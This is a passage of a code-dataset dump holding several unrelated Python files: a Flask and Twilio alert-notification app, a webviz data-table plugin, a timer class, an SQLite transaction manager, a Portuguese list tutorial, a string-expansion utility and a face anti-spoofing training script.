LOGREADER_PORT)\n try:\n response = requests.get(url)\n except requests.exceptions.ConnectionError as e:\n return render_template('alerts.html', error=True, message=\"An error occourred\")\n else:\n alerts = list(response.json().values())\n for alert in alerts:\n if \"INTRUDER\" in alert[\"label\"]:\n alert[\"isIntruder\"] = True\n if \"ARMED\" in alert[\"label\"]:\n alert[\"isArmed\"] = True\n if \"SENSOR\" in alert[\"name\"]:\n alert[\"isSensor\"] = True\n\n alert[\"style\"] = style_from_state(alert[\"state\"])\n alert[\"state_text\"] = style_to_text(alert[\"state\"])\n return render_template('alerts.html', error=False, alerts=alerts, teams=[1,2,3,4])\n\n\n@app.route('/alert/')\ndef alert(id):\n url = \"http://{}:{}/get_single?uuid={}\".format(LOGREADER_ADDRESS, LOGREADER_PORT, id)\n try:\n response = requests.get(url)\n except requests.exceptions.ConnectionError as e:\n return render_template('alerts.html', error=True, message=e.response.text)\n else:\n return render_template('alert.html', error=False, alert=response.json(), id=id)\n\n\n@app.route('/teams_or_rangers/')\ndef teams_or_rangers():\n return render_template('teams_or_rangers.html')\n\n\n@app.route('/teams/')\ndef teams():\n return render_template('teams.html')\n\n\n@app.route('/team/')\ndef team(name):\n return render_template('team.html', name=name)\n\n\n@app.route('/rangers/')\ndef rangers():\n lone = {'name': 'Lone'}\n texas = {'name': 'Texas'}\n power = {'name': 'Power'}\n lone1 = {'name': 'John'}\n texas1 = {'name': 'Jack'}\n power1 = {'name': 'Sophie'}\n lone2 = {'name': 'Lone'}\n texas2 = {'name': 'Texas'}\n power2 = {'name': 'Power'}\n return render_template('rangers.html', rangers=[lone, texas, power, lone1, texas1, power1, lone2, texas2, power2])\n\n\n@app.route('/ranger/')\ndef ranger(name):\n return render_template('ranger.html', name=name)\n\n\n@app.route('/')\ndef hello():\n return 'SmartAlert'\n\n\n# TWILIO SMS SERVICE\n\n@app.route('/sms', methods=['POST'])\ndef sms():\n msg, to, uuid = get_contact_user()\n SMS_HISTORY[to] = uuid\n body = '''{}\nTEXT 1 to ACCEPT!'''.format(msg)\n message = get_twilio_client().messages.create(to=to, from_=TWILIO_FROM_PHONE, body=body)\n call_id = voice_call()\n return json.dumps({'message': message.sid, 'call': call_id})\n\n\ndef get_contact_user():\n uuid, to, msg = request.form['uuid'], request.form['to'], request.form['msg']\n if to.startswith('00'):\n to = '+{}'.format(to[2:])\n return msg, to, uuid\n\n\n@app.route(\"/sms_respond\", methods=['POST'])\ndef sms_reply():\n body = request.form['Body']\n from_ = request.form['From']\n uuid = SMS_HISTORY.get(from_)\n app.logger.info('got response {} {} {}'.format(uuid, from_, body))\n\n if uuid is not None and body:\n requests.post('http://localhost:8888', data={'uuid': uuid,\n \"old_state\": 'to_acknowledge',\n \"new_state\": 'in_progress'})\n\n resp = MessagingResponse()\n resp.message(accept_alert(uuid))\n return str(resp)\n\n return None\n\n\n@app.route(\"/get_single\", methods=['GET'])\ndef get_status():\n uuid = request.args.get('uuid')\n response = requests.get(\"http://{}:{}/get_single\".format(LOGREADER_ADDRESS, LOGREADER_PORT), data={'uuid': uuid})\n return json.dumps(response.json())\n\ndef accept_alert(uuid):\n return '{} ACCEPTED'.format(uuid)\n\n\n@app.route(\"/voice_respond\", methods=['POST'])\ndef voice_call():\n msg, to, uuid = get_contact_user()\n MSG_STORE[uuid, to] = msg\n url = \"{}/voice_handle?uuid={}&to={}\".format('http://precocial-tang-6014.dataplicity.io',\n quote(uuid),\n quote(to))\n app.logger.warn('{} - {} - {} at {}'.format(uuid, to, msg, url))\n call = get_twilio_client().calls.create(\n to=to,\n from_=TWILIO_FROM_PHONE,\n url=url\n )\n return call.sid\n\n\n@app.route(\"/voice_handle\", methods=['GET', 'POST'])\ndef voice_handle():\n uuid, to = request.args.get('uuid'), request.args.get('to')\n resp = VoiceResponse()\n if 'Digits' in request.values:\n choice = request.values['Digits']\n if choice == '1':\n resp.say('Alert accepted!')\n get_twilio_client().messages.create(to=to, from_=TWILIO_FROM_PHONE, body=accept_alert(uuid))\n return str(resp)\n elif choice == '2':\n resp.say('Try again!')\n return str(resp)\n else:\n # If the caller didn't choose 1 or 2, apologize and ask them again\n resp.say(\"Sorry, I don't understand that choice.\")\n gather = Gather(num_digits=1)\n body = '''{}, press 1 to accept!'''.format(MSG_STORE[uuid, to])\n gather.say(body)\n resp.append(gather)\n resp.redirect('/voice_respond', method='POST')\n return str(resp)\n\n\n@app.errorhandler(500)\ndef server_error(e):\n # Log the error and stacktrace.\n logging.exception('An error occurred during a request. {}'.format(e))\n return 'An internal error occurred.', 500\n\n\napp.logger.addHandler(logging.StreamHandler())\napp.logger.setLevel(logging.INFO)\n\nif __name__ == \"__main__\":\n app.run(debug=True)\n","repo_name":"vittorioromeo/zoohackathon2017","sub_path":"ui-flask/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":7225,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"28937238720","text":"import base64\nfrom pathlib import Path\nfrom typing import List, Optional\n\nimport pandas as pd\nfrom dash import dash_table, Dash\n\nfrom .. import WebvizPluginABC, EncodedFile\nfrom ..webviz_store import webvizstore\nfrom ..common_cache import CACHE\n\n\nclass DataTable(WebvizPluginABC):\n \"\"\"Adds a table to the webviz instance, using tabular data from a provided csv file.\nIf feature is requested, the data could also come from a database.\n\n---\n\n* **`csv_file`:** Path to the csv file containing the tabular data. Either absolute \\\n path or relative to the configuration file.\n* **`sorting`:** If `True`, the table can be sorted interactively based \\\n on data in the individual columns.\n* **`filtering`:** If `True`, the table can be filtered based on values in the \\\n individual columns.\n* **`pagination`:** If `True`, only a subset of the table is displayed at once. \\\n Different subsets can be viewed from 'previous/next' buttons\n\"\"\"\n\n def __init__(\n self,\n app: Dash,\n csv_file: Path,\n sorting: bool = True,\n filtering: bool = True,\n pagination: bool = True,\n ):\n\n super().__init__()\n\n self.csv_file = csv_file\n self.df = get_data(self.csv_file)\n self.sorting = sorting\n self.filtering = filtering\n self.pagination = pagination\n\n self.set_callbacks(app)\n\n def add_webvizstore(self) -> List[tuple]:\n return [(get_data, [{\"csv_file\": self.csv_file}])]\n\n @property\n def layout(self) -> dash_table.DataTable:\n return dash_table.DataTable(\n columns=[{\"name\": i, \"id\": i} for i in self.df.columns],\n data=self.df.to_dict(\"records\"),\n sort_action=\"native\" if self.sorting else \"none\",\n filter_action=\"native\" if self.filtering else \"none\",\n page_action=\"native\" if self.pagination else \"none\",\n )\n\n def set_callbacks(self, app: Dash) -> None:\n @app.callback(self.plugin_data_output, self.plugin_data_requested)\n def _user_download_data(data_requested: Optional[int]) -> Optional[EncodedFile]:\n return (\n {\n \"filename\": \"data-table.csv\",\n \"content\": base64.b64encode(\n get_data(self.csv_file).to_csv(index=False).encode()\n ).decode(\"ascii\"),\n \"mime_type\": \"text/csv\",\n }\n if data_requested\n else None\n )\n\n\n@CACHE.memoize()\n@webvizstore\ndef get_data(csv_file: Path) -> pd.DataFrame:\n return pd.read_csv(csv_file)\n","repo_name":"equinor/webviz-config","sub_path":"webviz_config/generic_plugins/_data_table.py","file_name":"_data_table.py","file_ext":"py","file_size_in_byte":2642,"program_lang":"python","lang":"en","doc_type":"code","stars":49,"dataset":"github-code","pt":"82"} +{"seq_id":"14509749209","text":"import threading\nimport time\n\n\nclass RepeatedTimer:\n def __init__(self, interval, function, *args, **kwargs):\n self._timer = None\n self.interval = interval\n self.function = function\n self.args = args\n self.kwargs = kwargs\n self.is_running = False\n self.start()\n\n def start(self):\n if self.is_running:\n return\n self.is_running = True\n threading.Thread(target=self._run).start()\n\n def stop(self):\n self.is_running = False\n\n def _run(self):\n old_time = time.perf_counter_ns()\n while True:\n new_time = time.perf_counter_ns()\n if not self.is_running:\n break\n\n if new_time - old_time > self.interval*1000000000:\n self.function(*self.args, **self.kwargs)\n old_time = new_time\n\n time.sleep(0.001)\n\n\n","repo_name":"Tobias-Glauser/PO-ELECTRO","sub_path":"timerV2.py","file_name":"timerV2.py","file_ext":"py","file_size_in_byte":912,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"4936289379","text":"# ======================================================================\n# https://rafatieppo.github.io/\n# 13-06-2020\n# file to manage transactions\n# ======================================================================\n\nclass managtransac:\n def __init__(self, connection):\n self.connection = connection\n\n def find_byid(self, id_trans):\n connection = self.connection\n self.id_trans = id_trans\n with connection:\n cursor = connection.cursor()\n query = \"SELECT * FROM transacao WHERE transacao_id=?\"\n result = cursor.execute(query, (id_trans,))\n row = result.fetchone()\n if row is not None:\n return {'transacao': {'id': row[0], 'tipo': row[1], 'conta':row[3]}}\n else:\n return {'transacao': {'id': [-99], 'tipo': [-99], 'conta': [-99]}}\n print('Transacao ' + str(id_trans) + ' nao existe')\n\n def insert(self, tipo_id, data, conta_id, categoria_id,\n subcategoria_id, valor, obs):\n connection = self.connection\n with connection:\n cursor = connection.cursor()\n if tipo_id == 1:\n valor = valor * -1\n query = \"INSERT INTO transacao VALUES (NULL, ?,?,?,?,?,?,?);\"\n cursor.execute(query, (tipo_id, data, conta_id,\n categoria_id, subcategoria_id, valor, obs,))\n connection.commit()\n print('Transacao' + 'registrada com sucesso')\n\n def delete(self, id_trans, conta):\n contafound = self.find_byid(id_trans)\n print(contafound['transacao']['conta'])\n print('conta digitada é ', str(conta) + 'e conta encontrada é ' + str(contafound['transacao']['conta']))\n if str(contafound['transacao']['conta']) == str(conta):\n connection = self.connection\n with connection:\n cursor = connection.cursor()\n query = \"DELETE FROM transacao WHERE transacao_id=?;\"\n cursor.execute(query, (id_trans,))\n connection.commit()\n print('Transacao ' + str(id_trans) + ' excluida com sucesso')\n else:\n print('Transacao ' + str(id_trans) + ' nao existe ou não corresponde com a conta')\n","repo_name":"rafatieppo/lucycashflow","sub_path":"models/managtransac.py","file_name":"managtransac.py","file_ext":"py","file_size_in_byte":2354,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"42074574725","text":"# Declarar uma lista (array)\n\narray = [] # Vazio\n\narray = [1, 2, 3, 4, 5] # Com Valores\n\nprint(array)\nprint(array[3])\n\narray.append(10) # Adiciona o elemento na ultima posição\nprint(array)\n\narray.insert(0, 'Cu') # Adiciona no indice 0 o parametro dps da virgula\nprint(array)\n\ndel array[4] # Deleta o indice 4\narray.pop(4) # Deleta o indice 4\n\nif 'Cu' in array: # Verifica se o valor passado está na lista\n array.remove('Cu') # Remove o valor da lista\n\narray.pop() # Elimina o ultmo elemento da lista\n\nvalores = list(range(4, 11)) # list() cria uma lista\n\nvalores.sort() # Ordena os valores\n\nvalores.sort(reverse=True) # Ordena os valores na ordem reversa\n\nprint(len(valores)) #Retorna quantos elementos estão na lista\n\nfor i,v in enumerate(valores):\n print(i,v)\n \n\na = [1,2,3,4]\nb = a # vincula o B ao A, se mudar o B o A muda e vice-versa = [:] não vincula, somente passa os valores\nprint(a)\nprint(b)\nb[2] = 6\nprint(a)\nprint(b)\n","repo_name":"LeonardoSextare/Curso-Python","sub_path":"Curso em Video - Guanabara/Mundo 3/Aula 17 - Listas.py","file_name":"Aula 17 - Listas.py","file_ext":"py","file_size_in_byte":955,"program_lang":"python","lang":"pt","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"} +{"seq_id":"20662532499","text":"from typing import List\n\nfrom spil.conf import sip, ors\nfrom spil.sid.core import query_helper\n\n\ndef execute(sids: List[str]) -> List[str]:\n \"\"\"\n Runs or_op (the \"or operator\") on a list of Sids.\n\n Args:\n sids: a list of Sid strings to edit\n\n Returns: the list of Sid strings, edited\n \"\"\"\n result = []\n for sid in sids:\n result.extend(or_op(sid))\n\n return result\n\n\ndef or_op(sid: str) -> List[str]:\n \"\"\"\n or_op (the \"or operator\") transforms a string containing the \"or\" sign\n into a list of strings, each one individually representing the options without the or.\n\n Note: the ors sign can be configured, it is called \"ors\" in the config.\n Typically it is a comma \",\".\n\n Example:\n\n >>> or_op('bla/s/bla/A,B/**/one,two?test=X,Y,Z')\n ['bla/s/bla/A/**/one?test=X', 'bla/s/bla/A/**/one?test=Y', 'bla/s/bla/A/**/one?test=Z', 'bla/s/bla/B/**/one?test=X', 'bla/s/bla/B/**/one?test=Y', 'bla/s/bla/B/**/one?test=Z', 'bla/s/bla/A/**/two?test=X', 'bla/s/bla/A/**/two?test=Y', 'bla/s/bla/A/**/two?test=Z', 'bla/s/bla/B/**/two?test=X', 'bla/s/bla/B/**/two?test=Y', 'bla/s/bla/B/**/two?test=Z']\n\n Args:\n sid: a sid string\n\n Returns: a list of Sid strings\n \"\"\"\n sid = str(sid)\n if not sid.count(ors): # no \"or\" operators in sid.\n return [sid]\n\n if sid.count(\"?\"): # sid contains Query ending. We put it aside, and later append it back\n sid, query = sid.split(\"?\", 1)\n else:\n query = \"\"\n\n sids = or_on_path(sid)\n\n result = []\n if query:\n uris = or_on_query(query)\n for s in sids:\n for u in uris:\n result.append(\"{}?{}\".format(s, u))\n else:\n result = sids\n\n return result\n\n\ndef or_on_path(sid):\n \"\"\"\n Applies the or_op on the path part of the Sid.\n\n Example:\n\n >>> or_on_path('bla/s/bla/A,B,C/**/one,two,three')\n ['bla/s/bla/A/**/one', 'bla/s/bla/B/**/one', 'bla/s/bla/C/**/one', 'bla/s/bla/A/**/two', 'bla/s/bla/B/**/two', 'bla/s/bla/C/**/two', 'bla/s/bla/A/**/three', 'bla/s/bla/B/**/three', 'bla/s/bla/C/**/three']\n\n Args:\n sid: sid string\n\n Returns: list of sid string\n \"\"\"\n\n _start = \"--start--\"\n\n parts = sid.split(sip)\n\n found = [_start]\n for part in parts:\n current = found.copy()\n if ors in part:\n for alt in part.split(ors):\n alt = alt.strip()\n for sid in current.copy():\n new = sid + sip + alt\n # print 'replace', sid, ' --> ', new, ' -- ', sid in found, '?'\n #\n if sid in found:\n found[found.index(sid)] = new # replace (of the first element)\n else:\n found.append(new) # replace (of the first element)\n\n # found.remove()\n else:\n for sid in found.copy():\n new = sid + sip + part\n # print new\n found[found.index(sid)] = new # replace (of the first element)\n\n result = []\n for sid in found:\n if not sid in result:\n result.append(sid.replace(_start + sip, \"\"))\n\n # no type check needed\n return result\n\n\ndef or_on_query(query):\n \"\"\"\n Applies the or operator to values of the query, creating unique uris without the operator.\n\n Example:\n\n >>> or_on_query('titi=tata,blip&roger=vadim,bom,tom, tata')\n ['titi=tata&roger=vadim', 'titi=blip&roger=vadim', 'titi=tata&roger=bom', 'titi=blip&roger=bom', 'titi=tata&roger=tom', 'titi=blip&roger=tom', 'titi=tata&roger=tata', 'titi=blip&roger=tata']\n\n Args:\n query:\n\n Returns:\n\n \"\"\"\n query_dict = query_helper.to_dict(query)\n result = [query_dict.copy()]\n for key, value in query_dict.items():\n if value.count(ors):\n new_result = []\n for i in value.split(ors):\n for d in result.copy():\n new_dict = d.copy()\n new_dict[key] = i\n new_result.append(new_dict)\n result = new_result\n # print(result)\n\n return [query_helper.to_string(d) for d in result]\n\n\nif __name__ == \"__main__\":\n\n import doctest\n\n doctest.testmod()\n","repo_name":"MichaelHaussmann/spil","sub_path":"spil/sid/read/unfolders/or_op.py","file_name":"or_op.py","file_ext":"py","file_size_in_byte":4254,"program_lang":"python","lang":"en","doc_type":"code","stars":17,"dataset":"github-code","pt":"82"} +{"seq_id":"23846279305","text":"import os\nfrom datetime import datetime\nfrom sklearn.model_selection import StratifiedKFold\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport pandas as pd\nfrom ray import tune\nfrom collections import Counter\n# from imblearn.over_sampling import RandomOverSampler\nfrom Antispoofing.AntispoofHelpers.antispoof_model_helper import create_vit_b32\nfrom Antispoofing.AntispoofHelpers.dataset_helper import get_random_selection_on_aug_category, get_antispoof_frame, \\\n get_train_validation_generator, get_test_generator, Y_COL, Z_COL, X_COL, test_split\nfrom Antispoofing.AntispoofHelpers.spoof_metric import determine_spoof_metrics, PROTOCOL_COL\nimport os\nos.environ['TUNE_RESULT_DELIM'] = '/'\nAUG_PERCENTAGES = [0.05,0.1,0.2, 0.30]\n\ndef initialise_tf():\n import tensorflow as tf\n try:\n # fix memory issues\n gpus = tf.config.experimental.list_physical_devices('GPU')\n for gpu in gpus:\n tf.config.experimental.set_memory_growth(gpu, True)\n except:\n pass\n\ndef combine_with_augmentation(train_frame, aug_frame, aug_root, categories, aug_percentage, stratified_name_list_func=None, use_last_only=False, must_remove_normal=True, must_use_normal_only=False): # determine how many frames are in the dataset\n total_frames = train_frame.shape[0]\n # (Itot / aug %) / (1 - aug %)\n temp = []\n for cat in categories:\n if \"-\" in cat:\n temp2 = cat.split('-')\n for t in temp2:\n temp.append(t)\n else:\n temp.append(cat)\n categories = temp\n\n\n tempcategories = [] #['ASUS', 'IP7P', 'IPP2017', 'SGS8']\n for cat in categories:\n if cat == \"R\":\n tempcategories.append('ASUS')\n tempcategories.append('IP7P')\n tempcategories.append('IPP2017')\n tempcategories.append('SGS8')\n elif \"N\" in cat:\n if not must_remove_normal:\n tempcategories.append(cat)\n else:\n tempcategories.append(cat)\n\n categories = tempcategories\n\n if must_use_normal_only:\n tempcategories = []\n for cat in categories:\n if \"N\" in cat:\n tempcategories.append(cat)\n categories = tempcategories\n\n if use_last_only:\n num_categories = 1\n else:\n num_categories = len(categories)\n num_augmentation_files = round(((total_frames * aug_percentage)/ (1 - aug_percentage))/num_categories)\n # file_path, ground_truth df\n # to augment with only N\n random_aug_frame = get_random_selection_on_aug_category(aug_frame, categories, aug_root, num_augmentation_files, seed=None, stratified_name_list_func=stratified_name_list_func, use_last_only=use_last_only)\n return random_aug_frame\n\ndef video_based_results(single_frame, protocol_name, fold_index,protocol_number, fold_save_metrics_root, save_metric_name):\n temp_single = single_frame.copy()\n def categorise_video(row):\n return os.path.basename(os.path.dirname(row['file_paths']))\n temp_single['video_name'] = temp_single.apply(lambda row: categorise_video(row), axis=1)\n video_names = temp_single['video_name'].unique()\n video_list = []\n for name in video_names:\n temp_df = temp_single.query(f\"video_name == '{name}'\")\n real = 0\n spoof = 1\n spoof_pred_count = temp_df[(temp_df.predicted == 1)].count()[\"predicted\"]\n real_pred_count = temp_df[(temp_df.predicted == 0)].count()[\"predicted\"]\n if spoof_pred_count > real_pred_count:\n predicted = 1\n else:\n predicted = 0\n ground_truth = temp_df['ground_truth'].tolist()[0]\n video_list.append({\"video_name\": name, f'spoof({spoof})_pred_count': spoof_pred_count, f'real({real}_pred_count': real_pred_count, \"predicted\": predicted, \"ground_truth\": ground_truth})\n multi_frame = pd.DataFrame.from_dict(video_list)\n multi_frame.to_csv(os.path.join(fold_save_metrics_root, f\"test_{protocol_name}_multi_frame_results.csv\"), index=False)\n predicted = multi_frame['predicted'].tolist()\n ground_truth = multi_frame['ground_truth'].tolist()\n metric_dic = determine_spoof_metrics(ground_truth, predicted, protocol_name, fold_index,protocol_number, save_dir=os.path.join(fold_save_metrics_root, f\"{save_metric_name}_{protocol_name}_Multi_Metrics\"), must_show=False)\n metric_dic = dict((\"{}_{}\".format(\"Multi\",k),v) for k,v in metric_dic.items())\n return metric_dic\n\n\ndef antispoof(config):\n use_hsv = config['use_hsv']\n must_remove_normal = config['must_remove_normal']\n aug_after_split = config['aug_after_split']\n must_use_normal_only = config['must_use_normal_only']\n initialise_tf()\n import tensorflow as tf\n tf.keras.backend.set_image_data_format('channels_last')\n include_traditional_aug = config['include_traditional_aug']\n stratified_name_list_func=config['stratified_name_list_func']\n n_folds = config['n_folds']\n current_fold = config['current_fold']\n dataset_root = config['dataset_root']\n original_dataset_root = config['original_dataset_root']\n train_subject_number = config[\"train_subject_number\"]\n test_subject_number = config[\"test_subject_number\"]\n get_train_frame_func = config[\"get_train_frame_func\"]\n get_stratified_name_col_func = config[\"get_stratified_name_col_func\"]\n get_protocol_frame_dic_func = config[\"get_protocol_frame_dic_func\"]\n process_dataset_metrics_func = config[\"process_dataset_metrics_func\"]\n repeat_number = config[\"HP_REPEAT\"]\n # get the config variables\n attack_type_combination = config['HP_COMB']\n aug_percentage = config['HP_AUG_PER']\n use_last_only = config['use_last_only']\n\n run_folder = f\"{attack_type_combination}_aug_{aug_percentage}_run_{repeat_number}\"\n epochs = config['epochs']\n save_metrics_root = os.path.join(config['save_metrics_root'], run_folder)\n save_checkpoints_root = os.path.join(config['save_checkpoints_root'], run_folder)\n save_tb_root = os.path.join(config['save_tb_root'], run_folder)\n\n experiment_dirs = [save_metrics_root, save_checkpoints_root, save_tb_root]\n # create the directories\n for _dir in experiment_dirs:\n if not os.path.exists(_dir):\n os.makedirs(_dir)\n\n dataset_name = config['dataset_name']\n dataset_csv_name = config['dataset_csv_name']\n aug_root = config['aug_root']\n aug_csv = config['aug_csv']\n\n combinations = []\n # split the attack type combination\n if \",\" in attack_type_combination:\n attack_type_combination = attack_type_combination.split(\",\")\n for comb in attack_type_combination:\n combinations.append(comb.split(\"@\")[1])\n elif \"-\" in attack_type_combination:\n combinations.append(attack_type_combination.split(\"@\")[1])\n\n else:\n combinations.append(attack_type_combination.split(\"@\")[1])\n # get the train dataset frame\n train_frame = get_train_frame_func(dataset_root, dataset_csv_name, combinations, train_subject_number)\n\n stratified_name = get_stratified_name_col_func(combinations)\n train_frame = get_antispoof_frame(train_frame, dataset_root, stratified_name=stratified_name)\n\n\n\n sss = StratifiedKFold(n_splits=n_folds, shuffle=True, random_state=0)\n\n\n if aug_after_split:\n if Z_COL in train_frame.columns:\n splits = sss.split(train_frame[X_COL], train_frame[Z_COL])\n else:\n splits = sss.split(train_frame[X_COL], train_frame[Y_COL])\n\n for i in range(n_folds):\n train_index, val_index = next(splits)\n if i == current_fold:\n break\n\n\n\n fold_index = str(current_fold)\n fold_save_metrics_root = os.path.join(save_metrics_root, fold_index)\n fold_save_checkpoints_root = os.path.join(save_checkpoints_root, fold_index)\n fold_save_tb_root = os.path.join(save_tb_root, fold_index)\n\n experiment_dirs = [fold_save_metrics_root, fold_save_checkpoints_root, fold_save_tb_root]\n # create the directories\n for _dir in experiment_dirs:\n if not os.path.exists(_dir):\n os.makedirs(_dir)\n fold_train_frame = train_frame.iloc[train_index]\n fold_val_frame = train_frame.iloc[val_index]\n\n # add the augmentation files to the train frame\n if aug_percentage > 0:\n aug_frame = pd.read_csv(os.path.join(aug_root, aug_csv))\n aug_frame = combine_with_augmentation(fold_train_frame, aug_frame, aug_root, combinations, aug_percentage,\n stratified_name_list_func, use_last_only, must_remove_normal, must_use_normal_only)\n fold_train_frame = pd.concat([fold_train_frame, aug_frame])\n else:\n # add the augmentation files to the train frame\n if aug_percentage > 0:\n aug_frame = pd.read_csv(os.path.join(aug_root, aug_csv))\n aug_frame = combine_with_augmentation(train_frame, aug_frame, aug_root, combinations, aug_percentage,\n stratified_name_list_func, use_last_only, must_remove_normal,must_use_normal_only)\n train_frame = pd.concat([train_frame, aug_frame])\n\n if Z_COL in train_frame.columns:\n splits = sss.split(train_frame[X_COL], train_frame[Z_COL])\n else:\n splits = sss.split(train_frame[X_COL], train_frame[Y_COL])\n\n for i in range(n_folds):\n train_index, val_index = next(splits)\n if i == current_fold:\n break\n\n fold_index = str(current_fold)\n fold_save_metrics_root = os.path.join(save_metrics_root, fold_index)\n fold_save_checkpoints_root = os.path.join(save_checkpoints_root, fold_index)\n fold_save_tb_root = os.path.join(save_tb_root, fold_index)\n\n experiment_dirs = [fold_save_metrics_root, fold_save_checkpoints_root, fold_save_tb_root]\n # create the directories\n for _dir in experiment_dirs:\n if not os.path.exists(_dir):\n os.makedirs(_dir)\n fold_train_frame = train_frame.iloc[train_index]\n fold_val_frame = train_frame.iloc[val_index]\n\n\n\n if save_metrics_root is not None:\n fold_train_frame.to_csv(f\"{save_metrics_root}/fold_{fold_index}_train_frame.csv\", index=False)\n fold_val_frame.to_csv(f\"{save_metrics_root}/fold_{fold_index}_val_frame.csv\", index=False)\n test_split(fold_train_frame, fold_val_frame, X_COL)\n train_generator, valid_generator = get_train_validation_generator(fold_train_frame, fold_val_frame, use_hsv=use_hsv)\n\n # create the model\n model = create_vit_b32(include_traditional=include_traditional_aug)\n learning_rate = 1e-4\n weight_decay = 1e-5\n\n optimiser = tf.keras.optimizers.Adam(learning_rate=learning_rate)#, beta_2=weight_decay)\n\n model.compile(optimizer=optimiser, loss=tf.keras.losses.CategoricalCrossentropy(label_smoothing=0.2),\n metrics=['accuracy'])\n # For future work\n # reduce_lr = tf.keras.callbacks.ReduceLROnPlateau(monitor = 'val_accuracy',\n # factor = 0.2,\n # patience = 2,\n # verbose = 1,\n # min_delta = 1e-4,\n # min_lr = 1e-6,\n # mode = 'max')\n earlystopping = tf.keras.callbacks.EarlyStopping(monitor='val_loss',\n min_delta=1e-4,\n patience=15,\n mode='min',\n restore_best_weights=True,\n verbose=1)\n checkpoint_path = os.path.join(fold_save_checkpoints_root, \"best.ckpt\")\n checkpointer = tf.keras.callbacks.ModelCheckpoint(filepath=checkpoint_path,\n monitor='val_loss',\n verbose=1,\n save_best_only=True,\n save_weights_only=True,\n mode='min')\n tensorboard_callback = tf.keras.callbacks.TensorBoard(\n log_dir=fold_save_tb_root, histogram_freq=1, update_freq='epoch')\n callbacks = [earlystopping, checkpointer, tensorboard_callback] # ,reduce_lr ]\n\n train_step_size = train_generator.n // train_generator.batch_size\n validation_step_size = valid_generator.n // valid_generator.batch_size\n history = model.fit(x=train_generator,\n steps_per_epoch=train_step_size,\n validation_data=valid_generator,\n validation_steps=validation_step_size,\n epochs=epochs,\n callbacks=callbacks)\n\n loss = history.history['loss']\n val_loss = history.history['val_loss']\n\n epochs = range(len(loss))\n with plt.ioff():\n plt.figure()\n\n plt.plot(epochs, loss, 'b', label='Training Loss')\n plt.plot(epochs, val_loss, 'r', label='Validation Loss')\n plt.title('Training and validation loss')\n plt.xlabel(\"Epochs\")\n plt.ylabel(\"Loss\")\n plt.legend()\n plt.savefig(os.path.join(fold_save_metrics_root, f\"fold_{fold_index}_train_history.png\"))\n\n print(\"restoring top model\")\n # load best model\n latest = tf.train.latest_checkpoint(fold_save_checkpoints_root)\n print(latest)\n model = create_vit_b32()\n model.load_weights(latest)\n\n save_metric_name = \"\"\n lookup_dataset_root =\"\"\n if original_dataset_root is None:\n protocol_frame_dic = get_protocol_frame_dic_func(dataset_root, dataset_csv_name, combinations, test_subject_number)\n lookup_dataset_root = dataset_root\n else:\n protocol_frame_dic = get_protocol_frame_dic_func(original_dataset_root, dataset_csv_name, combinations, test_subject_number)\n lookup_dataset_root = original_dataset_root\n if test_subject_number is not None:\n save_metric_name = f\"S{test_subject_number}\"\n for protocol_name, protocol_number_frame in protocol_frame_dic.items():\n protocol_number = protocol_number_frame[\"protocol_number\"]\n protocol_frame = protocol_number_frame[\"frame\"]\n test_frame = get_antispoof_frame(protocol_frame, lookup_dataset_root)\n # test if there is bias\n test_split(fold_train_frame, test_frame, X_COL)\n\n test_generator = get_test_generator(test_frame, use_hsv=use_hsv)\n test_step_size = test_generator.n // test_generator.batch_size\n predicted = np.argmax(model.predict(test_generator, test_step_size, verbose=1), axis=1)\n ground_truth = test_generator.classes\n temp_dic = {\"file_paths\": test_generator.filepaths, \"ground_truth\": ground_truth, \"predicted\": list(predicted)}\n df = pd.DataFrame.from_dict(temp_dic, orient='index').transpose()\n df.to_csv(os.path.join(fold_save_metrics_root, f\"test_{protocol_name}_results.csv\"), index=False)\n metric_dic = determine_spoof_metrics(ground_truth, predicted, protocol_name, fold_index,protocol_number, save_dir=os.path.join(fold_save_metrics_root, f\"{save_metric_name}_{protocol_name}_Metrics\"), must_show=False)\n multi_metric_dic = video_based_results(df, protocol_name, fold_index,protocol_number, fold_save_metrics_root, save_metric_name)\n metric_dic.update(multi_metric_dic)\n if config['is_ray']:\n tune.report(**metric_dic)\n\n\ndef start_antispoofing(dataset_root, dataset_csv_name, aug_root, aug_csv, save_metrics_root, save_checkpoints_root,\n save_tb_root, save_tune_root, aug_folder_combinations, tune_gpu, tune_cpu, epochs,\n get_train_frame_func, get_protocol_frame_dic_func, get_stratified_name_col_func, process_dataset_metrics_func,tune_experiment_name=None,\n aug_percentages=None, repeat_run_list=None, train_subject_number=None,\n test_subject_number=None, must_resume_from_last_experiment=True, is_ray=True, n_k_folds=3,\n original_dataset_root=None, stratified_name_list_func=None, is_traditional=False,\n use_last_only=False,is_single_folder=True, include_traditional_aug=False, aug_after_split=False\n , must_remove_normal=False, mode_info=\"\", must_use_normal_only=False, error_only=False, use_hsv=False):\n if aug_percentages is None and repeat_run_list is None:\n raise TypeError(\"Please specify either the aug_percentages or repeat_run_list\")\n return\n\n # get the dataset name\n if \".csv\" not in dataset_csv_name:\n dataset_csv_name += \".csv\"\n\n dataset_name = os.path.basename(dataset_root)\n\n\n # test if the dataset creator csv file is present in the dataset root\n dataset_csv_location = os.path.join(dataset_root, dataset_csv_name)\n aug_csv_location = os.path.join(aug_root, aug_csv)\n if not os.path.exists(dataset_csv_location):\n raise TypeError(f\"Could not find the dataset csv file: {dataset_csv_location}\")\n\n if not os.path.exists(aug_csv_location) and aug_percentages is not None:\n raise TypeError(f\"Could not find the aug csv file: {aug_csv_location}\")\n\n tune_antispoof_csv = f\"{dataset_name}_antispoof_tune.csv\"\n\n training_type = \"\"\n if is_single_folder:\n training_type += \"Single\"\n else:\n training_type += \"Multi\"\n\n\n save_tune_root = os.path.join(save_tune_root, training_type)\n if tune_experiment_name is None:\n if must_resume_from_last_experiment:\n existing_dirs = []\n if os.path.exists(save_tune_root):\n existing_dirs = os.listdir(save_tune_root)\n\n if len(existing_dirs) > 0:\n # run from the last directory\n existing_dirs.sort(reverse=True)\n tune_experiment_name = os.path.basename(existing_dirs[0])\n\n if tune_experiment_name is None:\n tune_experiment_name = f\"{dataset_name}_antispoof_\" + 